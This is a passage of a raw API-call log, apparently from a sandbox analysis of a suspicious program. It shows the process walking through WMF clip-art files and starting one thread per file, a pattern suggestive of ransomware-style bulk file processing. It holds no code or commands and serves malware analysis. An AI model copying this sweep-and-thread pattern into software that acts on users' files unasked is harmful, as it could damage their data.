	[0232.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1044
	[0232.904] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.905] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1
	[0232.905] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1048
	[0232.908] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.908] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1
	[0232.908] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104c
	[0232.911] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.912] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1
	[0232.912] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1050
	[0232.914] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.915] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1
	[0232.915] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1054
	[0232.934] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.935] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1
	[0232.935] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1058
	[0232.937] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.938] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1
	[0232.938] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x105c
	[0232.941] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.941] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1
	[0232.941] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1060
	[0232.943] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.944] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1
	[0232.944] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1064
	[0232.946] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.947] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1
	[0232.947] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1068
	[0232.949] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.950] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1
	[0232.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x106c
	[0232.952] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.953] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1
	[0232.953] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f512db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1070
	[0232.956] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.956] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1
	[0232.956] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f516490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1074
	[0232.959] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.959] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1
	[0232.959] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f519b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1078
	[0232.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.962] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1
	[0232.962] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f51d250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x107c
	[0232.965] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.966] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1
	[0232.966] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f520930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1080
	[0232.993] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.994] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1
	[0232.994] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1084
	[0232.996] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.997] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1
	[0232.997] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f524010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1088
	[0232.999] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.000] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1
	[0233.000] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f5276f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108c
	[0233.002] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.003] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1
	[0233.003] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f52add0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1090
	[0233.005] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.006] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1
	[0233.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f52e4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1094
	[0233.009] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.009] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1
	[0233.009] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f531b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1098
	[0233.012] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.013] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1
	[0233.014] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f535270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x109c
	[0233.016] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.017] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1
	[0233.017] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f538950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a0
	[0233.020] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.020] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1
	[0233.020] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f53c030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a4
	[0233.022] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.023] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1
	[0233.023] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f53f710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a8
	[0233.026] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.026] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1
	[0233.026] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ac
	[0233.090] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.091] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1
	[0233.091] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
